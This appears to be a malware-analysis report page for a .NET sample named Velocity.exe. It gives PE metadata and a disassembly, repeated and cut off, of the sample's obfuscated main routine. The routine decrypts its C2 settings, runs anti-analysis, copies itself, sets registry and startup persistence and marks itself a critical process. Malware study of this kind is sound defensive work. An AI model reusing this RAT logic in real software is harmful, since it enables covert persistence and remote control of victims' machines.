Malicious
Malicious

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Medium
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Config. Field Value
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
Velocity.exe
Full Name
Velocity.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
Velocity.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Velocity
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
616
Main IL
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 447
ldc.i4 445
call System.Void Stub.ProcessCritical::Ⴈ(System.Int32,System.Int32,System.Char)
ldc.i4.4 <null>
stloc.s V_21
ldloc.s V_21
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 320
ldc.i4 349
call System.String My.MyApplication::Ⴃ<System.Object>(System.Object,System.Char,System.Int16)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 301
ldc.i4 304
call System.String My.MyApplication::Ⴃ<System.Object>(System.Object,System.Char,System.Int16)
stsfld System.String Settings::Port
ldc.i4.8 <null>
stloc.s V_21
br.s IL_001D: ldloc.s V_21
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 862
ldc.i4 835
call System.String My.MyApplication::Ⴃ<System.Object>(System.Object,System.Char,System.Int16)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 197
ldc.i4 216
call System.String My.MyApplication::Ⴃ<System.Object>(System.Object,System.Char,System.Int16)
stsfld System.String Settings::SPL
ldc.i4.5 <null>
stloc.s V_21
br IL_001D: ldloc.s V_21
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 797
ldc.i4 768
call System.String My.MyApplication::Ⴃ<System.Object>(System.Object,System.Char,System.Int16)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 970
ldc.i4 983
call System.String My.MyApplication::Ⴃ<System.Object>(System.Object,System.Char,System.Int16)
stsfld System.String Settings::USBNM
ldc.i4.0 <null>
stloc.s V_21
br IL_001D: ldloc.s V_21
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 726
ldc.i4 715
call System.String My.MyApplication::Ⴃ<System.Object>(System.Object,System.Char,System.Int16)
ldc.i4 336
ldc.i4 303
call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Char,System.Char)
stsfld System.String Settings::InstallDir
ldc.i4.7 <null>
stloc.s V_21
br IL_001D: ldloc.s V_21
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 126
ldc.i4.s 99
call System.String My.MyApplication::Ⴃ<System.Object>(System.Object,System.Char,System.Int16)
stsfld System.String Settings::InstallStr
leave.s IL_0192: ldc.i4.0
dup <null>
ldc.i4 611
ldc.i4 529
call System.Void Stub.Uninstaller::Ⴄ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4 1017
ldc.i4 1018
call System.Void Stub.ProcessCritical::Ⴈ(System.Int32,System.Int32,System.Char)
ldc.i4 689
ldc.i4 561
call System.Void Stub.Messages::Ⴀ(System.Int32,System.Int16)
leave.s IL_0192: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_23
ldloc.s V_23
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴍ.Ⴗ::Ⴄ()
brtrue.s IL_01D0: ldc.i4.3
ldc.i4.2 <null>
stloc.s V_23
br.s IL_0195: ldloc.s V_23
ldc.i4.0 <null>
ldc.i4 686
ldc.i4 685
call System.Void Stub.ProcessCritical::Ⴈ(System.Int32,System.Int32,System.Char)
ldc.i4.3 <null>
stloc.s V_25
ldloc.s V_25
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.Main::RunAntiAnalysis()
leave.s IL_020F: ldc.i4.1
dup <null>
ldc.i4.s 9
ldc.i4.s 123
call System.Void Stub.Uninstaller::Ⴄ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.s V_4
ldc.i4.s 104
ldc.i4 232
call System.Void Stub.Messages::Ⴀ(System.Int32,System.Int16)
leave.s IL_020F: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_27
ldloc.s V_27
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.Main::Exclusion()
ldsfld System.String Settings::InstallDir
ldc.i4 168
ldc.i4.1 <null>
ldc.i4 602897467
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 897
ldc.i4 957
call System.String Stub.Main::ႰႳ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Int32,System.Char)
stloc.0 <null>
ldc.i4.6 <null>
stloc.s V_29
ldloc.s V_29
switch dnlib.DotNet.Emit.Instruction[]
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4.s 118
ldc.i4.s 47
call System.IO.DirectoryInfo Stub.Uninstaller::Ⴐ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Int16)
ldc.i4 774
ldc.i4 822
call System.String My.MyComputer::ႰႰ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Char,System.Char)
stloc.s V_5
ldc.i4.4 <null>
stloc.s V_29
br.s IL_025F: ldloc.s V_29
ldloc.s V_5
ldc.i4 270
ldc.i4 275
call System.String My.MyApplication::Ⴃ<System.Object>(System.Object,System.Char,System.Int16)
ldc.i4 965
ldc.i4 1019
call System.Boolean Stub.Main::ႥႠ<System.String>(System.String,System.Char,System.Char)
brtrue.s IL_02E2: ldc.i4.8
ldc.i4.7 <null>
stloc.s V_29
br IL_025F: ldloc.s V_29
ldc.i4.8 <null>
br.s IL_02DB: stloc.s V_29
ldloc.s V_5
ldc.i4 965
ldc.i4 984
call System.String My.MyApplication::Ⴃ<System.Object>(System.Object,System.Char,System.Int16)
ldc.i4 694
ldc.i4 652
call System.IO.DirectoryInfo My.MyApplication::ႳႳ<System.String>(System.String,System.Char,System.Int32)
pop <null>
ldc.i4.8 <null>
stloc.s V_29
br IL_025F: ldloc.s V_29
ldloc.0 <null>
castclass System.String
ldc.i4 159
ldc.i4 160
call System.Boolean Stub.Main::ႥႠ<System.String>(System.String,System.Char,System.Char)
brfalse.s IL_032D: ldc.i4.2
ldc.i4.1 <null>
stloc.s V_29
br IL_025F: ldloc.s V_29
ldc.i4.2 <null>
br.s IL_0326: stloc.s V_29
ldloc.0 <null>
isinst System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_6
ldloc.s V_6
isinst System.IO.FileInfo
ldc.i4 692
ldc.i4 687
call System.Void Stub.ProcessCritical::ႨႨ<System.IO.FileInfo>(System.IO.FileInfo,System.Int32,System.Int16)
ldc.i4 1000
ldc.i4 281
ldc.i4 283
call System.Void Stub.ProcessCritical::Ⴈ(System.Int32,System.Int32,System.Char)
ldloc.0 <null>
isinst System.String
ldsfld System.String Ⴍ.Ⴗ::Ⴄ
ldc.i4.s 24
ldc.i4.s 55
call System.Byte[] My.MyComputer::ႰႥ<System.String>(System.String,System.Int16,System.Int16)
ldc.i4 617
ldc.i4 586
call System.Void My.MyComputer::Ⴍ<System.String>(System.String,System.Byte[],System.Int16,System.Int16)
leave.s IL_03AF: ldc.i4.7
dup <null>
ldc.i4 965
ldc.i4 951
call System.Void Stub.Uninstaller::Ⴄ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.s V_7
ldc.i4 496
ldc.i4 368
call System.Void Stub.Messages::Ⴀ(System.Int32,System.Int16)
leave.s IL_03AF: ldc.i4.7
ldc.i4.7 <null>
stloc.s V_31
ldloc.s V_31
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4 255
ldc.i4.2 <null>
ldc.i4 602898045
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_9
ldloc.s V_9
isinst System.Diagnostics.ProcessStartInfo
ldc.i4.1 <null>
ldc.i4 414
ldc.i4 395
call System.Void Stub.ProcessCritical::Ⴄ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Diagnostics.ProcessWindowStyle,System.Int16,System.Char)
ldc.i4.3 <null>
stloc.s V_31
br.s IL_03B2: ldloc.s V_31
call System.String Stub.ClientSocket::UAC()
ldc.i4 226
ldc.i4 162
call System.Boolean Stub.Main::ႥႠ<System.String>(System.String,System.Char,System.Char)
brfalse.s IL_042B: ldc.i4.8
ldc.i4.2 <null>
stloc.s V_31
br.s IL_03B2: ldloc.s V_31
ldc.i4.8 <null>
br.s IL_0427: stloc.s V_31
ldloc.s V_9
castclass System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
isinst System.String[]
ldc.i4.0 <null>
ldc.i4 253
ldc.i4.2 <null>
ldc.i4 602897993
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
ldc.i4 386
ldc.i4 258
call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Char,System.Char)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.2 <null>
ldc.i4.s 111
ldc.i4.5 <null>
ldc.i4 602898146
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
castclass System.String
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.4 <null>
ldc.i4.s 49
ldc.i4.7 <null>
ldc.i4 602898148
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4 792
ldc.i4 770
call System.String My.MyApplication::Ⴓ(System.String[],System.Int16,System.Char)
ldc.i4 231
ldc.i4 223
call System.Void Stub.ProcessCritical::Ⴐ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Char,System.Char)
ldc.i4.5 <null>
stloc.s V_31
br IL_03B2: ldloc.s V_31
ldloc.s V_9
castclass System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
isinst System.String[]
ldc.i4.0 <null>
ldc.i4.s 117
ldc.i4.0 <null>
ldc.i4 602898134
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
ldc.i4 233
ldc.i4.s 105
call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Char,System.Char)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.2 <null>
ldc.i4 253
ldc.i4.4 <null>
ldc.i4 602898147
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.4 <null>
ldc.i4 250
ldc.i4.7 <null>
ldc.i4 602898148
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4 242
ldc.i4 232
call System.String My.MyApplication::Ⴓ(System.String[],System.Int16,System.Char)
ldc.i4 890
ldc.i4 834
call System.Void Stub.ProcessCritical::Ⴐ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Char,System.Char)
ldloc.s V_9
isinst System.Diagnostics.ProcessStartInfo
ldc.i4.2 <null>
ldc.i4.3 <null>
call System.Diagnostics.Process Stub.Uninstaller::Ⴍ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Char,System.Int16)
stloc.s V_8
ldloc.s V_8
isinst System.Diagnostics.Process
ldc.i4 584
ldc.i4 578
call System.Void Stub.Messages::ႣႤ<System.Diagnostics.Process>(System.Diagnostics.Process,System.Char,System.Int32)
leave.s IL_05CB: ldc.i4.2
dup <null>
ldc.i4 494
ldc.i4 412
call System.Void Stub.Uninstaller::Ⴄ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.s V_10
ldc.i4 574
ldc.i4 702
call System.Void Stub.Messages::Ⴀ(System.Int32,System.Int16)
leave.s IL_05CB: ldc.i4.2
ldc.i4.2 <null>
stloc.s V_33
ldloc.s V_33
switch dnlib.DotNet.Emit.Instruction[]
call My.MyComputer My.MyProject::Ⴀ()
ldc.i4 366
ldc.i4 300
call Microsoft.VisualBasic.MyServices.RegistryProxy Stub.Main::ႥႭ<Microsoft.VisualBasic.Devices.ServerComputer>(Microsoft.VisualBasic.Devices.ServerComputer,System.Int32,System.Int32)
ldc.i4 916
ldc.i4 985
call Microsoft.Win32.RegistryKey My.MyComputer::ႰႼ<Microsoft.VisualBasic.MyServices.RegistryProxy>(Microsoft.VisualBasic.MyServices.RegistryProxy,System.Int16,System.Int16)
ldc.i4.s 40
ldc.i4.4 <null>
ldc.i4 602897867
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
ldc.i4.1 <null>
ldc.i4 848
ldc.i4 869
call Microsoft.Win32.RegistryKey My.MyApplication::Ⴍ<System.String,Microsoft.Win32.RegistryKey>(Microsoft.Win32.RegistryKey,System.String,System.Boolean,System.Char,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 473
ldc.i4 345
call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Char,System.Char)
ldloc.0 <null>
isinst System.String
ldc.i4 635
ldc.i4 566
call System.Void My.MyApplication::ႳႠ<System.String,System.Object,Microsoft.Win32.RegistryKey>(Microsoft.Win32.RegistryKey,System.String,System.Object,System.Int16,System.Int32)
leave.s IL_0674: ldc.i4.5
dup <null>
ldc.i4 798
ldc.i4 876
call System.Void Stub.Uninstaller::Ⴄ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.s V_11
ldc.i4.s 110
ldc.i4 238
call System.Void Stub.Messages::Ⴀ(System.Int32,System.Int16)
leave.s IL_0674: ldc.i4.5
ldc.i4.5 <null>
stloc.s V_35
ldloc.s V_35
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.7 <null>
ldc.i4 885
ldc.i4 860
call System.String Stub.Messages::ႣႰ(System.Environment/SpecialFolder,System.Int16,System.Char)
ldc.i4.s 120
ldc.i4.0 <null>
ldc.i4 602897466
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 378
ldc.i4 506
call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Char,System.Char)
ldc.i4 171
ldc.i4.7 <null>
ldc.i4 602898154
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
call System.String System.String::Concat(System.String,System.String,System.String,System.String)
stloc.s V_12
ldc.i4.2 <null>
stloc.s V_35
br.s IL_0677: ldloc.s V_35
ldc.i4 151
ldc.i4.6 <null>
ldc.i4 602896631
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
ldc.i4.s 120
ldc.i4.3 <null>
ldc.i4 602898041
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String)
ldnull <null>
ldc.i4.s 78
ldc.i4.0 <null>
ldc.i4 602896823
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_15
ldloc.s V_15
isinst System.Object[]
ldc.i4.0 <null>
ldloc.s V_12
isinst System.String
stelem.ref <null>
ldloc.s V_15
castclass System.Object[]
stloc.s V_16
ldloc.s V_16
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_17
ldloc.s V_17
castclass System.Boolean[]
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_17
isinst System.Boolean[]
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
ldloc.s V_17
isinst System.Boolean[]
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_0796: stloc.s V_18
ldloc.s V_16
castclass System.Object[]
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_12
stloc.s V_18
ldloc.s V_18
ldnull <null>
ldc.i4 192
ldc.i4.2 <null>
ldc.i4 602896797
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
isinst System.Object[]
ldc.i4.0 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_19
castclass System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.6 <null>
stloc.s V_35
br IL_0677: ldloc.s V_35
ldloc.s V_18
ldnull <null>
ldc.i4.2 <null>
ldc.i4.8 <null>
ldc.i4 602896979
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
castclass System.Object[]
ldc.i4.0 <null>
ldc.i4.s 85
ldc.i4.0 <null>
ldc.i4 602898042
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_19
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.0 <null>
stloc.s V_35
br IL_0677: ldloc.s V_35
ldloc.s V_18
ldnull <null>
ldc.i4.s 96
ldc.i4.3 <null>
ldc.i4 602896909
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldc.i4.8 <null>
stloc.s V_35
br IL_0677: ldloc.s V_35
ldnull <null>
stloc.s V_18
ldloc.s V_12
isinst System.String
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Ⴍ.Ⴗ::Ⴐ
leave.s IL_086D: ldc.i4.0
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_13
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_086D: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_37
ldloc.s V_37
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Ⴍ.Ⴗ::Ⴓ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_08C3: ldc.i4.5
ldc.i4.6 <null>
stloc.s V_37
br.s IL_0870: ldloc.s V_37
ldc.i4.5 <null>
br.s IL_08BF: stloc.s V_37
call System.Void Stub.ProcessCritical::CriticalProcess_Enable()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldc.i4.1 <null>
stloc.s V_37
br IL_0870: ldloc.s V_37
ldloc.1 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ret <null>
Module Name
Velocity.exe
Full Name
Velocity.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
Velocity.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Velocity
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
616
Main IL
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 447
ldc.i4 445
call System.Void Stub.ProcessCritical::Ⴈ(System.Int32,System.Int32,System.Char)
ldc.i4.4 <null>
stloc.s V_21
ldloc.s V_21
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 320
ldc.i4 349
call System.String My.MyApplication::Ⴃ<System.Object>(System.Object,System.Char,System.Int16)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 301
ldc.i4 304
call System.String My.MyApplication::Ⴃ<System.Object>(System.Object,System.Char,System.Int16)
stsfld System.String Settings::Port
ldc.i4.8 <null>
stloc.s V_21
br.s IL_001D: ldloc.s V_21
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 862
ldc.i4 835
call System.String My.MyApplication::Ⴃ<System.Object>(System.Object,System.Char,System.Int16)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 197
ldc.i4 216
call System.String My.MyApplication::Ⴃ<System.Object>(System.Object,System.Char,System.Int16)
stsfld System.String Settings::SPL
ldc.i4.5 <null>
stloc.s V_21
br IL_001D: ldloc.s V_21
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 797
ldc.i4 768
call System.String My.MyApplication::Ⴃ<System.Object>(System.Object,System.Char,System.Int16)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 970
ldc.i4 983
call System.String My.MyApplication::Ⴃ<System.Object>(System.Object,System.Char,System.Int16)
stsfld System.String Settings::USBNM
ldc.i4.0 <null>
stloc.s V_21
br IL_001D: ldloc.s V_21
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 726
ldc.i4 715
call System.String My.MyApplication::Ⴃ<System.Object>(System.Object,System.Char,System.Int16)
ldc.i4 336
ldc.i4 303
call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Char,System.Char)
stsfld System.String Settings::InstallDir
ldc.i4.7 <null>
stloc.s V_21
br IL_001D: ldloc.s V_21
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 126
ldc.i4.s 99
call System.String My.MyApplication::Ⴃ<System.Object>(System.Object,System.Char,System.Int16)
stsfld System.String Settings::InstallStr
leave.s IL_0192: ldc.i4.0
dup <null>
ldc.i4 611
ldc.i4 529
call System.Void Stub.Uninstaller::Ⴄ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4 1017
ldc.i4 1018
call System.Void Stub.ProcessCritical::Ⴈ(System.Int32,System.Int32,System.Char)
ldc.i4 689
ldc.i4 561
call System.Void Stub.Messages::Ⴀ(System.Int32,System.Int16)
leave.s IL_0192: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_23
ldloc.s V_23
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴍ.Ⴗ::Ⴄ()
brtrue.s IL_01D0: ldc.i4.3
ldc.i4.2 <null>
stloc.s V_23
br.s IL_0195: ldloc.s V_23
ldc.i4.0 <null>
ldc.i4 686
ldc.i4 685
call System.Void Stub.ProcessCritical::Ⴈ(System.Int32,System.Int32,System.Char)
ldc.i4.3 <null>
stloc.s V_25
ldloc.s V_25
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.Main::RunAntiAnalysis()
leave.s IL_020F: ldc.i4.1
dup <null>
ldc.i4.s 9
ldc.i4.s 123
call System.Void Stub.Uninstaller::Ⴄ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.s V_4
ldc.i4.s 104
ldc.i4 232
call System.Void Stub.Messages::Ⴀ(System.Int32,System.Int16)
leave.s IL_020F: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_27
ldloc.s V_27
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.Main::Exclusion()
ldsfld System.String Settings::InstallDir
ldc.i4 168
ldc.i4.1 <null>
ldc.i4 602897467
call System.String Stub.Main::Ⴄ(System.Char,System.Int32,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 897
ldc.i4 957
call System.String Stub.Main::ႰႳ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Int32,System.Char)
stloc.0 <null>
ldc.i4.6 <null>
stloc.s V_29
ldloc.s V_29
switch dnlib.DotNet.Emit.Instruction[]
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4.s 118
ldc.i4.s 47
call System.IO.DirectoryInfo Stub.Uninstaller::Ⴐ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Int16)
ldc.i4 774
ldc.i4 822
call System.String My.MyComputer::ႰႰ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Char,System.Char)
stloc.s V_5
ldc.i4.4 <null>
stloc.s V_29
br.s IL_025F: ldloc.s V_29
ldloc.s V_5
ldc.i4 270
ldc.i4 275
call System.String My.MyApplication::Ⴃ<System.Object>(System.Object,System.Char,System.Int16)
ldc.i4 965
ldc.i4 1019
call System.Boolean Stub.Main::ႥႠ<System.String>(System.String,System.Char,System.Char)
brtrue.s IL_02E2: ldc.i4.8
ldc.i4.7 <null>
stloc.s V_29
br IL_025F: ldloc.s V_29
ldc.i4.8 <null>
br.s IL_02DB: stloc.s V_29
ldloc.s V_5
ldc.i4 965
ldc.i4 984
call System.String My.MyApplication::Ⴃ<System.Object>(System.Object,System.Char,System.Int16)
ldc.i4 694
ldc.i4 652
call System.IO.DirectoryInfo My.MyApplication::ႳႳ<System.String>(System.String,System.Char,System.Int32)
pop <null>
ldc.i4.8 <null>
stloc.s V_29
br IL_025F: ldloc.s V_29
ldloc.0 <null>
castclass System.String
ldc.i4 159
ldc.i4 160
call System.Boolean Stub.Main::ႥႠ<System.String>(System.String,System.Char,System.Char)
brfalse.s IL_032D: ldc.i4.2
ldc.i4.1 <null>
stloc.s V_29
br IL_025F: ldloc.s V_29
ldc.i4.2 <null>
br.s IL_0326: stloc.s V_29
ldloc.0 <null>
isinst System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_6
ldloc.s V_6
isinst System.IO.FileInfo
ldc.i4 692
ldc.i4 687
call System.Void Stub.ProcessCritical::ႨႨ<System.IO.FileInfo>(System.IO.FileInfo,System.Int32,System.Int16)
ldc.i4 1000
ldc.i4 281
ldc.i4 283
